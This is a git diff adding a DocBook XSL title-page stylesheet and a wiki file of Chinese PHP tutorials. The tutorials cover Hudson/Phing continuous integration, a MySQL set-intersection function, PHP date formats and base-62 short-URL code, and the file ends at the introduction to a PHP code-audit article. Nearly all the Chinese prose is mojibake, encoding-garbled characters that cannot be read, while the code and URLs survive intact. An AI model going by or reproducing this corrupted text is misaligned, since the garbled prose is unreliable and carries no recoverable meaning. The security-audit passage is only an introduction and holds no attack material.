mode="book.titlepage.recto.auto.mode" select="bookinfo/othercredit"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/othercredit"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/releaseinfo"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/releaseinfo"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/copyright"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/copyright"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/legalnotice"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/legalnotice"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/pubdate"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/pubdate"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/revision"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/revision"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/revhistory"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/revhistory"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/abstract"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/abstract"/> + </xsl:template> + + <xsl:template name="book.titlepage.verso"> + </xsl:template> + + <xsl:template name="book.titlepage.separator"> + <hr/> + </xsl:template> + + <xsl:template name="book.titlepage.before.recto"> + </xsl:template> + + <xsl:template name="book.titlepage.before.verso"> + </xsl:template> + + <xsl:template name="book.titlepage"> + <div class="titlepage"> + <xsl:variable name="recto.content"> + <xsl:call-template name="book.titlepage.before.recto"/> + <xsl:call-template name="book.titlepage.recto"/> + </xsl:variable> + <xsl:variable name="recto.elements.count"> + <xsl:choose> + <xsl:when test="function-available('exsl:node-set')"> + <xsl:value-of select="count(exsl:node-set($recto.content)/*)"/> + </xsl:when> + <xsl:when test="contains(system-property('xsl:vendor'), 'Apache Software Foundation')"> + <!--Xalan quirk--> + <xsl:value-of select="count(exsl:node-set($recto.content)/*)"/> + </xsl:when> + <xsl:otherwise>1</xsl:otherwise> + </xsl:choose> + </xsl:variable> + <xsl:if test="(normalize-space($recto.content) != '') or ($recto.elements.count > 0)"> + <div> + <xsl:copy-of select="$recto.content"/> + </div> + </xsl:if> + <xsl:variable name="verso.content"> + <xsl:call-template name="book.titlepage.before.verso"/> + <xsl:call-template name="book.titlepage.verso"/> + </xsl:variable> + <xsl:variable name="verso.elements.count"> + <xsl:choose> + <xsl:when test="function-available('exsl:node-set')"> + <xsl:value-of select="count(exsl:node-set($verso.content)/*)"/> + </xsl:when> + <xsl:when test="contains(system-property('xsl:vendor'), 'Apache Software Foundation')"> + <!--Xalan quirk--> + <xsl:value-of select="count(exsl:node-set($verso.content)/*)"/> + </xsl:when> + <xsl:otherwise>1</xsl:otherwise> + </xsl:choose> + </xsl:variable> + <xsl:if test="(normalize-space($verso.content) != '') or ($verso.elements.count > 0)"> + <div> + <xsl:copy-of select="$verso.content"/> + </div> + </xsl:if> + <xsl:call-template name="book.titlepage.separator"/> + </div> + </xsl:template> + + <xsl:template match="*" mode="book.titlepage.recto.mode"> + <!-- if an element isn't found in this mode, --> + <!-- try the generic titlepage.mode --> + <xsl:apply-templates select="." mode="titlepage.mode"/> + </xsl:template> + + <xsl:template match="*" mode="book.titlepage.verso.mode"> + <!-- if an element isn't found in this mode, --> + <!-- try the generic titlepage.mode --> + <xsl:apply-templates select="." mode="titlepage.mode"/> + </xsl:template> + + <xsl:template match="title" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="subtitle" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="corpauthor" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="authorgroup" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="author" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="mediaobject" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="othercredit" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="releaseinfo" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="copyright" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="legalnotice" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="pubdate" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="revision" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="revhistory" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="abstract" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + +</xsl:stylesheet> diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki.wiki b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki.wiki new file mode 100644 index 0000000..153da9c --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki.wiki @@ -0,0 +1,4518 @@ +Php中文教程集 +MoXie(moxie@zoeey.org) +2010-07-12 +该文档å„文章版æƒå½’其作者所有,如需删除请è”系本手册编辑人员。 + +任务说明 +本文档的收录过程 +推è,由网å‹æŽ¨è文章。推èæ ¼å¼å‚照下é¢çš„æ ¼å¼è¯´æ˜Žã€‚ + +审核,堕è½ç¾¤å†…部æˆå‘˜å®¡æ ¸ï¼Œä¸»è¦æ£€æŸ¥æ–‡ç« è´¨é‡ã€‚ + +校对,文章勘误,更正文章作者。 + +编辑,转æ¢æ–‡ç« ä¸ºé€šç”¨æ ¼å¼å¹¶ç”Ÿæˆå‘布。 + + + +推èæ ¼å¼è¯´æ˜Žï¼š + + +<code> +1ã€ä½œè€… +2ã€è”ç³»æ–¹å¼ +3ã€ä½œè€…网站 +4ã€æ–‡ç« å‡ºå¤„ +5ã€å†…容æè¦ +6ã€å»ºè®®åˆ†ç±» +7ã€æŽ¨èäººä»‹ç» + +</code> + +本章主è¦ä»‹ç»æ—¥å¸¸Phpå¼€å‘所能利用到的å„类工具。 + +====== æœ¬ç« æ‘˜è¦ ====== +本章主è¦ä»‹ç»Phpå¼€å‘调试使用到的å„类工具 + +====== 利用Hudson构建PhpæŒç»­é›†æˆ ====== +Hudson +ä½œè€…ä»‹ç» +作者:MoXie + + +è”系:system128@gmail.com + + +网站: +**http://zoeey.org** + +文章出处: +**http://www.phpchina.com/bbs/thread-147599-1-1.html** + +å‘布日期:2009-8-19 16:35 + + +相关工具 + ;Hudson: https://hudson.dev.java.net/ : 介ç»ï¼šæŒç»­æž„建工具。 + +下载: +**http://hudson-ci.org/latest/hudson.war** +备注:需è¦Java环境,JRE的安装方å¼å°±ä¸è¯´äº†ï¼Œè‡ªå·±æœä¸€ä¸‹ã€‚ 本文使用版本 Hudson ver. 1.320 + + ;Phing: http://phing.info : 介ç»ï¼šåŸºäºŽant的项目构建系统。 + +下载: +**http://phing.info/trac/wiki/Users/Download** +备注:本文使用版本 phing-2.3.3 + + ;Phing Plugin: http://wiki.hudson-ci.org/display/HUDSON/Phing+Plugin : 介ç»ï¼šä¸ºHudsonæä¾›Phing支æŒçš„æ’件。 + +备注:Hudsonæ’件列表里默认列出,安装方å¼åœ¨ä¸‹é¢ã€‚ + + ;SVN: http://subversion.tigris.org/ : 介ç»ï¼šç‰ˆæœ¬æŽ§åˆ¶å·¥å…· + +备注:教程较多ä¸åšè¯¦ç»†ä»‹ç»ã€‚推è两个工具,都是傻瓜å¼å®‰è£…的。 客户端 å°ä¹Œé¾Ÿï¼š +**http://tortoisesvn.tigris.org/** æœåŠ¡å™¨ç«¯ VisualSVN: +**http://www.visualsvn.com/** + ;NetBeans: http://www.netbeans.org/ : 介ç»ï¼šIDE,对PHPUnit有å‹å¥½æ”¯æŒã€‚ + +备注:构建PHPUnit环境å‚考下é¢PHPUnit的介ç»ã€‚ + + ;Hudson Support: http://plugins.netbeans.org/PluginPortal/faces/PluginDetailPage.jsp?pluginid=2178 : 介ç»ï¼šNetBeans Hudson支æŒæ’件。 + +备注:å¯ä»¥æ–¹ä¾¿æ“作,ä¸å¼ºåˆ¶å®‰è£…。 + + ;PHPUnit: http://www.phpunit.de/ : 介ç»ï¼šPHPå•å…ƒæµ‹è¯•å·¥å…· + +å‚考: +**http://bbs.phpchina.com/viewthread.php?tid=104215** +备注:这篇文章是NetBeans 7.0m1 刚å‘布时写的,现在的最新版本已ç»æ”¯æŒPHPUnit了,å¯ä»¥åŽ»ä¸‹è½½ 6.7.1以åŽçš„版本。 + + +架设æµç¨‹ +1ã€åˆ›å»ºå¯æµ‹è¯•çš„工程:在NetBeans中新建项目,例如 HudsonPHP。 新建一个Class文件(å¯ç›´æŽ¥ä½¿ç”¨ +**http://bbs.phpchina.com/viewthread.php?tid=104215**中的 PhpUnitSample )。 并按 工具 -> 创建PHPUnit测试 指定目录为 {$project}/test,内容å¯å‚考上文。 + + +2ã€æ供版本控制支æŒï¼šæ–°å»ºçš„版本库HudsonPHP(我是用的是VisualSVN,ä¸ä¼šçš„朋å‹åŽ»æœæ•™ç¨‹ï¼‰ã€‚ å°†æ“作 1 中的项目导入这个版本库(在NetBeans项目上å³é”®Subversion)。 + + +3ã€å®‰è£…Hudson:è¿è¡ŒHudsonå¯ç›´æŽ¥æ‰§è¡Œ java -jar hudson.war 也å¯ä»¥å°†å…¶éƒ¨ç½²åˆ°Tomcat等容器内。 æ“作方å¼ç½‘上教程较多,在此ä¸å†ç´¯è¿°ï¼Œå…³é”®è¯ï¼š war tomcat。 è¿è¡ŒåŽé»˜è®¤ç«¯å£æ˜¯ 8080 ,我在本地è¿è¡Œæ‰€ä»¥æ‰“å¼€ http://localhost:8080/ + + +4ã€å®‰è£…Hudsonçš„Phing Plugin。按顺åºç‚¹å‡» 左侧的 Manage Hudson >> å³ä¾§çš„ Manage Plugins >> Available 找到 Hudosn Phing plugin >> 按最下é¢çš„ install 。 + + + +**选中Phing Plugin** + +{{:Update%20Center%20%5BHudson%5D_1250665207553.png|Update%20Center%20%5BHudson%5D_1250665207553.png}} + +**Phing Plugin安装æˆåŠŸ** + +{{:Update%20Center%20%5BHudson%5D_1250665165273.png|Update%20Center%20%5BHudson%5D_1250665165273.png}} +\\ +安装åŽéœ€è¦é‡å¯æœåŠ¡å™¨:退到首页 >> Manage Hudson >> Prepare for Shutdown ;如ä¸è‡ªåŠ¨é‡å¯å°±æ‰‹åŠ¨æŠŠï½žåœ¨cmd里执行的就是接ctrl+c,å†è¿è¡Œã€‚ + + +\\ +回到首页 左侧的 Manage Hudson >> Configure System >> Phing installation + + +\\ +我的设置: + + +<code> +name : Phing_2.3.3 +PHING_HOME : E:\Tools\phing-2.3.3 +PHP Command : E:\Tools\wamp\bin\php\php5.2.5\php.exe +</code> + +<note warning> +ä¸éœ€è¦ä½¿ç”¨pearæ–¹å¼å®‰è£…phing,PHING_HOME就是你下载的Phing包直接解压åŽçš„目录,系统会识别出目录是å¦æ­£ç¡®çš„。 PHP Command å°±ä¸å¤šè¯´äº†ï¼Œå°±æ˜¯php.exeçš„ä½ç½®ã€‚ + +</note> + +**我的Phing设置** + +{{:Hudson_1250667982700.png|Hudson_1250667982700.png}} +\\ +5ã€æ–°å»ºå·¥ä½œï¼šHudson左侧点击New Job ,Job name 设置æˆå·¥ç¨‹ç›®å½•å°±å¯ä»¥äº†ï¼Œä¸åšç‰¹æ®Šè¦æ±‚,例如 HudsonPHP。下é¢è¦é€‰çš„应该是构筑方å¼æˆ–类型。 我们选择第二个(Build a free-style software project),点击 OK。 + + +\\ +我们æ¥åˆ°äº†é…置页é¢ï¼Œä¸‹é¢ç»™å‡ºçš„是主è¦é…ç½®å‚数范例: + + +<code> +Source Code Management: æºç ç®¡ç†ã€‚ + 选择 Subversion ,在 Repository URL 填写版本库url + 如 https://MoXie-PC:321/svn/HudsonPHP/trunk。 + Repository browser:(auto) 这是默认的。 +Build Triggers:构建触å‘é…置。 + 选择 Poll SCM , Schedule 填: 50 * * * * 。 + æ„æ€æ˜¯æ¯50分钟自动执行。具体å‚æ•°é…置方å¼å‚考å³ä¾§é—®å·å†…的帮助。 +Buildï¼šæž„å»ºæ–¹å¼ + 点击: Add build step,选择 Invoke Phing targets。é…置如下: + Phing Version : 选择我们刚新增的 Phing_2.3.3 + Targets:填写 test (就是项目测试文件目录) +点击Sava,基本é…置就这些了。 +</code> + + +**工程设置(查看大图)** + +{{:HudsonPHP%20Config%20%5BHudson%5D_1250673882462.png|HudsonPHP%20Config%20%5BHudson%5D_1250673882462.png}} +\\ +6ã€Build脚本:在工程目录下新建文件 build.xml。内容如下: + + +<code> +<?xml version="1.0" ?> +<project name="HudsonPHP" default="test"> +<property name="tests.dir" value="test" /> +<target name="test" description="Run PHPUnit tests"> + <phpunit haltonerror="true" haltonfailure="true" printsummary="true"> + <batchtest> + <fileset dir="${tests.dir}"> + <include name="**/*Test.php" /> + </fileset> + </batchtest> + </phpunit> +</target> +</project> +</code> + +\\ +7ã€æœ€ç»ˆè¿è¡Œï¼šå·¦ä¾§ç‚¹å‡»Build now,在左下就会看到进程æ¡äº†ã€‚è“色的气çƒå°±ä»£è¡¨æˆåŠŸã€‚ 点入刚进行的Build #1,点击左侧 Console Output,å¯ä»¥çœ‹åˆ°æ•´ä¸ªæ‰§è¡Œè¿‡ç¨‹ã€‚如下例: + + + +**工作输出** + +{{:PhpSample%20Console%20%5BHudson%5D_1250668684394.png|PhpSample%20Console%20%5BHudson%5D_1250668684394.png}} +====== MySQL 集åˆäº¤é›†æ£€æŸ¥å‡½æ•° ====== +mysql交集函数 +<note warning> +此样例文章,最终å¯èƒ½ä¸ä¿ç•™ã€‚ + +</note> +ä½œè€…ä»‹ç» +作者:MoXie + + +è”系:system128@gmail.com + + +网站: +**http://zoeey.org** + +文章出处: +**http://www.zoeey.com/2010/07/01/mysql-intersection-of-sets/** + +å‘布日期:2010-07-01 + + +内容 +在文章拥有多é‡åˆ†ç±»ä¸”存储在å•ä¸ªæ–‡æœ¬å­—段内,调用多个分类的数æ®æ—¶ï¼Œæˆ‘们å¯èƒ½éœ€è¦è®¡ç®—两个数组的交集。 + + +如 文章文类为 “1,2,3,6″ ,调用的分类有 “5,6,7,9″ 交集为 “6″,则文章在调用范围内。 + + +函数æè¦: + + +<code> +# SUBSTRING_INDEX 返回指定分隔符å‰çš„字符串 +mysql> SELECT SUBSTRING_INDEX('www.mysql.com', '.', 1); + -> 'www' +mysql> SELECT SUBSTRING_INDEX('www.mysql.com', '.', 2); + -> 'www.mysql' + +# SUBSTRING 从指定ä½ç½®æˆªå–指定长度的字符串 +mysql> SELECT SUBSTRING('Quadratically',5); + -> 'ratically' +mysql> SELECT SUBSTRING('Quadratically',5,6); + -> 'ratica' + +# FIND_IN_SET 返回指定字符在以逗å·åˆ†å‰²çš„æ•°æ®é›†ä¸­çš„ä½ç½®ã€‚ +mysql> SELECT FIND_IN_SET('a','a,b,c,d'); + -> 1 +mysql> SELECT FIND_IN_SET('b','a,b,c,d'); + -> 2 +mysql> SELECT FIND_IN_SET('e','a,b,c,d'); + -> 0 + +</code> + +集åˆäº¤é›†æ£€æŸ¥å‡½æ•°æºç ï¼š + + +请尽é‡ä½¿ç”¨ MySQL 5.0.3 åŠæ›´é«˜çš„版本 + + +<code> +DROP FUNCTION IF EXISTS `INTE_ARRAY`; +delimiter // +-- 集åˆäº¤é›†æ£€æŸ¥å‡½æ•° +-- @param varchar(255) setA A é›†åˆ å¦‚ "1,3,5,9" +-- @param varchar(255) setB B é›†åˆ å¦‚ "8,2,3,7" +-- @return int(1) B 集åˆå†…å•å…ƒåœ¨ Aé›†åˆ å†…å­˜åœ¨åˆ™è¿”å›ž 1 å¦åˆ™è¿”回 0 +CREATE FUNCTION `INTE_ARRAY` (setA varchar(255),setB varchar(255)) RETURNS int(1) +BEGIN + DECLARE idx INT DEFAULT 0 ; -- B 集åˆå•å…ƒç´¢å¼• + DECLARE len INT DEFAULT 0;-- B 集åˆè¡¨è¾¾å¼é•¿åº¦ + DECLARE llen INT DEFAULT 0;-- 最åŽæ£€æŸ¥ä½ç½® + DECLARE clen INT DEFAULT 0;-- 当å‰æ£€æŸ¥ä½ç½® + DECLARE tmpStr varchar(255);-- 临时检查数æ®é›† + DECLARE curt varchar(255);-- B 当å‰æ£€æŸ¥çš„å•å…ƒ + SET len = LENGTH(setB); + WHILE idx < len DO + SET idx = idx + 1; + SET tmpStr = SUBSTRING_INDEX(setB,",",idx); + SET clen = LENGTH(tmpStr); +-- 获å–å½“å‰ setB 中的å•å…ƒ + IF idx = 1 THEN SET curt = tmpStr; + ELSE SET curt = SUBSTRING(setB,llen+2,clen-llen-1); + END IF; +-- 检查是å¦å­˜åœ¨äºŽ setA 中 + IF FIND_IN_SET(curt,setA) > 0 THEN RETURN 1; + END IF; +-- 当å‰æ£€æŸ¥ç»ˆç‚¹ä¸Žä¸Šæ¬¡æ£€æŸ¥ç»ˆç‚¹ç›¸åŒåˆ™è·³å‡º + IF clen <= llen THEN RETURN 0; + END IF; + + SET llen = clen; + END WHILE; + RETURN 0; +END; +// +delimiter ; + +select INTE_ARRAY("1,3,5,9","8,2,3,7") as is_inte_array; +--select INTE_ARRAY("1,3,5,9","2,8,6,10") as is_inte_array; +--select INTE_ARRAY("10,3,5,9","2,8,6,10") as is_inte_array; +--select INTE_ARRAY("1,30,5,9","2,8,6,10") as is_inte_array; +--select INTE_ARRAY("1,30,5,9","2,30,6,10") as is_inte_array; + +</code> + +====== Phpå¸¸ç”¨æ—¶é—´æ ¼å¼ ====== +date format +data å¸¸ç”¨æ ¼å¼ +<note warning> +此样例文章,最终å¯èƒ½ä¸ä¿ç•™ã€‚ + +</note> +ä½œè€…ä»‹ç» +作者:MoXie + + +è”系:system128@gmail.com + + +网站: +**http://zoeey.org** + +文章出处: +**http://www.zoeey.com/2010/06/03/php-date-time-format/** + +å‘布日期:2010-06-03 + + +内容 +常用时间格å¼ï¼Œç»å¸¸å¿˜è®°ï½žè®°åœ¨è¿™é‡Œã€‚ + + +包括:MySQL , HTTP header,HTTP cookie,RSS,Atom + + + ;MySQL : <code> +// 2010-06-03 05:32:03 +date('Y-m-d H:i:s'); +// 2010-06-03 +date('Y-m-d'); + +</code> + + ;HTTP header : <code> +// Thu, 03 Jun 2010 05:34:12 GMT +gmdate('D, d M Y H:i:s \G\M\T'); + +</code> + + ;HTTP cookie : <code> +// Thu, 03-Jun-2010 05:35:25 GMT +gmdate('D, d-M-Y H:i:s \G\M\T'); + +</code> + + ;RSS : <code> +// Thu, 03 Jun 2010 05:36:20 UTC +date('D, d M Y H:i:s T'); +// Thu, 03 Jun 2010 05:36:51 +0000 +date('D, d M Y H:i:s O'); + +</code> + + ;Atom : <code> +// 2010-06-03T05:37:27+00:00 +date('c'); +// 2010-06-03T05:38:10Z +gmdate('Y-m-d\TH:i:s\Z'); + +</code> + + + + +相关文章: + + +**PHP Date() + Cheatsheat** + +====== 短网å€ç”Ÿæˆ(高进制数字转æ¢) ====== +short url +radix convert +<note warning> +此样例文章,最终å¯èƒ½ä¸ä¿ç•™ã€‚ + +</note> +ä½œè€…ä»‹ç» +作者:MoXie + + +è”系:system128@gmail.com + + +网站: +**http://zoeey.org** + +文章出处: +**http://www.zoeey.com/2010/06/03/php-date-time-format/** + +å‘布日期:2010-06-03 + + +内容 +江湖上æµä¼ ç€å„ç§å„样的短网å€â€œç®—法â€ä½†æ— ä¸èƒ½é€ƒè„±é«˜é‡å¤æ€§å’Œä½Žæ•ˆçŽ‡çš„厄è¿ã€‚ + + +这里ä¸å…俗的也说一下直接由自增åºåˆ—æ¥ç”Ÿäº§çŸ­ç½‘å€çš„方法。 + + +使用六å二进制将å进制数字å˜â€œçŸ­â€ã€‚ + + +例如数æ®åº“中第 56800235583 æ¡ä¿¡æ¯ï¼Œå¯¹åº”的短网å€åŽç¼€å¯ä»¥æ˜¯ ZZZZZZ 。 + + +下é¢æ˜¯å­˜å‚¨ç¤ºä¾‹ï¼š + + +id 自增åºåˆ—/è‡ªå¢žç¼–å· + + +url 目标链接 + + +*suffix* 短网å€åŽç¼€ (并ä¸éœ€è¦å­˜å‚¨åœ¨æ•°æ®åº“内) + + +<code> ++------------+-----------------------+---------+ +|id | url | *suffix*| ++------------+-----------------------+---------+ +|123456 | http://zoeey.com/ | w7e | ++------------+-----------------------+---------+ +|123457 | http://www.zoeey.com/ | w7f | ++------------+-----------------------+---------+ +|56800235582 | http://zoeey.org/ | ZZZZZY | ++------------+-----------------------+---------+ +|56800235583 | http://www.zoeey.org/ | ZZZZZZ | ++------------+-----------------------+---------+ + +</code> + +短网å€ä½¿ç”¨æµç¨‹ï¼š + + + - æ交网å€å­˜å‚¨åŽèŽ·å–å…¶ç¼–å· å¦‚ï¼š123456 + - 用dec2Any将编å·è½¬æ¢ä¸º62è¿›åˆ¶ï¼Œå¹¶æ‹¼æŽ¥ç½‘å€ å¦‚ï¼šhttp://go.to/w7e + - 用户访问到 http://go.to/w7e 时,æå–短网å€åŽç¼€ w7e + - 用any2Dec将短网å€åŽç¼€è½¬æ¢ä¸º10è¿›åˆ¶ï¼Œå¾—åˆ°é“¾æŽ¥ç¼–å· å¦‚ï¼š123456 + - 使用编å·æŸ¥è¯¢é“¾æŽ¥ï¼Œå¹¶è¿›è¡Œè·³è½¬ +下é¢æ˜¯è¿›åˆ¶è½¬æ¢æ‰€éœ€è¦çš„æºç ï¼š + + +<code> +/* + * MoXie (SysTem128@GMail.Com) 2010-6-30 17:53:57 + * + * Copyright © 2008-2010 Zoeey.Org . All rights are reserved. + * Code license: Apache License Version 2.0 + * http://www.apache.org/licenses/LICENSE-2.0.txt + */ +error_reporting(E_ALL); + +/** + * 返回一字符串,å进制 number 以 radix 进制的表示。 + * @param dec 需è¦è½¬æ¢çš„æ•°å­— + * @param toRadix 输出进制。当ä¸åœ¨è½¬æ¢èŒƒå›´å†…时,此å‚数会被设定为 2,以便åŠæ—¶å‘现。 + * @return 指定输出进制的数字 + */ +function dec2Any($dec, $toRadix) { + $MIN_RADIX = 2; + $MAX_RADIX = 62; + $num62 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + if ($toRadix < $MIN_RADIX || $toRadix > $MAX_RADIX) { + $toRadix = 2; + } + if ($toRadix == 10) { + return $dec; + } + // -Long.MIN_VALUE 转æ¢ä¸º 2 进制时长度为65 + $buf = array(); + $charPos = 64; + $isNegative = $dec < 0; //(bccomp($dec, 0) < 0); + if (!$isNegative) { + $dec = -$dec; // bcsub(0, $dec); + } + + while (bccomp($dec, -$toRadix) <= 0) { + $buf[$charPos--] = $num62[-bcmod($dec, $toRadix)]; + $dec = bcdiv($dec, $toRadix); + } + $buf[$charPos] = $num62[-$dec]; + if ($isNegative) { + $buf[--$charPos] = '-'; + } + $_any = ''; + for ($i = $charPos; $i < 65; $i++) { + $_any .= $buf[$i]; + } + return $_any; +} + +/** + * è¿”å›žä¸€å­—ç¬¦ä¸²ï¼ŒåŒ…å« number 以 10 进制的表示。 + * fromBase åªèƒ½åœ¨ 2 å’Œ 62 之间(包括 2 å’Œ 62)。 + * @param number 输入数字 + * @param fromRadix 输入进制 + * @return å进制数字 + */ +function any2Dec($number, $fromRadix) { + $num62 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + $dec = 0; + $digitValue = 0; + $len = strlen($number) - 1; + for ($t = 0; $t <= $len; $t++) { + $digitValue = strpos($num62, $number[$t]); + $dec = bcadd(bcmul($dec, $fromRadix), $digitValue); + } + return $dec; +} + +$sol = '' . PHP_EOL; +echo dec2Any('56800235583', 62), $sol; // ZZZZZZ +echo any2Dec('ZZZZZZ', 62), $sol; // 56800235583 +echo dec2Any('123456', 62), $sol; // w7e +echo any2Dec('w7e', 62), $sol; // 123456 + +</code> + + + +å‚考资料: + + +**Zoeey/NumberHelper.java** + +====== å·é¦–语 ====== +ä½œè€…ä»‹ç» +作者:80vul + + +è”系:Email 5up3rh3i@gmail.com MSN SuperHei@ph4nt0m.org + + +网站: +**http://www.80vul.com/****http://code.google.com/p/pasc2at/** + +文章出处: +**http://code.google.com/p/pasc2at/wiki/SimplifiedChinese** + +å‘布日期:2010-03-01 + + +推è人 +Jessica + +内容简介 +PHP是一ç§è¢«å¹¿æ³›ä½¿ç”¨çš„脚本语言,尤其适åˆäºŽwebå¼€å‘。具有跨平å°ï¼Œå®¹æ˜“学习,功能强大等特点,æ®ç»Ÿè®¡å…¨ä¸–界有超过34%的网站有php的应用,包括Yahooã€sinaã€163ã€sohu等大型门户网站。而且很多具åçš„web应用系统(包括bbs,blog,wiki,cms等等)都是使用phpå¼€å‘的,Discuzã€phpwindã€phpbbã€vbbã€wordpressã€boblog等等。éšç€web安全的热点å‡çº§ï¼Œphp应用程åºçš„代ç å®‰å…¨é—®é¢˜ä¹Ÿé€æ­¥å…´ç››èµ·æ¥ï¼Œè¶Šæ¥è¶Šå¤šçš„安全人员投入到这个领域,越æ¥è¶Šå¤šçš„应用程åºä»£ç æ¼æ´žè¢«æŠ«éœ²ã€‚针对这样一个状况,很多应用程åºçš„官方都æˆç«‹äº†å®‰å…¨éƒ¨é—¨ï¼Œæˆ–者雇佣安全人员进行代ç å®¡è®¡ï¼Œå› æ­¤å‡ºçŽ°äº†å¾ˆå¤šè‡ªåŠ¨åŒ–商业化的代ç å®¡è®¡å·¥å…·ã€‚也就是这样的形势导致了一个局é¢ï¼šå¤§å…¬å¸çš„产å“安全系数大大的æ高,那些很明显的æ¼æ´žåŸºæœ¬ç­ç»äº†ï¼Œé‚£äº›å¤§å®¶éƒ½çŸ¥é“的审计技术都无用武之地了。我们é¢å¯¹å¾ˆå¤šå·¥å…·ä»¥åŠå¤§ç‰›æ‰«æ过né的代ç ï¼Œæœ‰å¾ˆå¤šçš„安全人员有点悲观,而有的官方安全人员也éžå¸¸çš„放心自己的代ç ï¼Œä½†æ˜¯ä¸è¦å¿˜è®°äº†â€œæ²¡æœ‰ç»å¯¹çš„安全â€ï¼Œæˆ‘们应该去寻找新的途径挖掘新的æ¼æ´žã€‚本文就给介ç»äº†ä¸€äº›éžä¼ ç»Ÿçš„技术ç»éªŒå’Œå¤§å®¶åˆ†äº«ã€‚ + + +å¦å¤–在这里特别说明一下本文里é¢å¾ˆå¤šæ¼æ´žéƒ½æ˜¯æ¥æºäºŽç½‘络上牛人和朋å‹ä»¬çš„分享,在这里需è¦æ„Ÿè°¢ä»–们 :) + + +====== 传统的代ç å®¡è®¡æŠ€æœ¯ ====== +代ç å®¡è®¡ +WEB应用程åºæ¼æ´žæŸ¥æ‰¾åŸºæœ¬ä¸Šæ˜¯å›´ç»•ä¸¤ä¸ªå…ƒç´ å±•å¼€ï¼šå˜é‡ä¸Žå‡½æ•°ã€‚也就是说一æ¼æ´žçš„利用必须把你æ交的æ¶æ„代ç é€šè¿‡å˜é‡ç»è¿‡n次å˜é‡è½¬æ¢ä¼ é€’,最终传递给目标函数执行,还记得MSé‚£å¥ç»å…¸çš„å言å—?“一切输入都是有害的â€ã€‚è¿™å¥è¯åªå¼ºè°ƒäº†å˜é‡è¾“入,很多程åºå‘˜æŠŠâ€œè¾“å…¥â€ç†è§£ä¸ºåªæ˜¯gpc`[`$`_`GET,$`_`POST,$`_`COOKIE`]`,但是å˜é‡åœ¨ä¼ é€’过程产生了n多的å˜åŒ–。导致很多过滤åªæ˜¯ä¸ªâ€œçº¸è€è™Žâ€ï¼æˆ‘们æ¢å¥è¯æ¥æå™ä¸‹ä»£ç å®‰å…¨ï¼šâ€œä¸€åˆ‡è¿›å…¥å‡½æ•°çš„å˜é‡æ˜¯æœ‰å®³çš„â€ã€‚ + + +PHP代ç 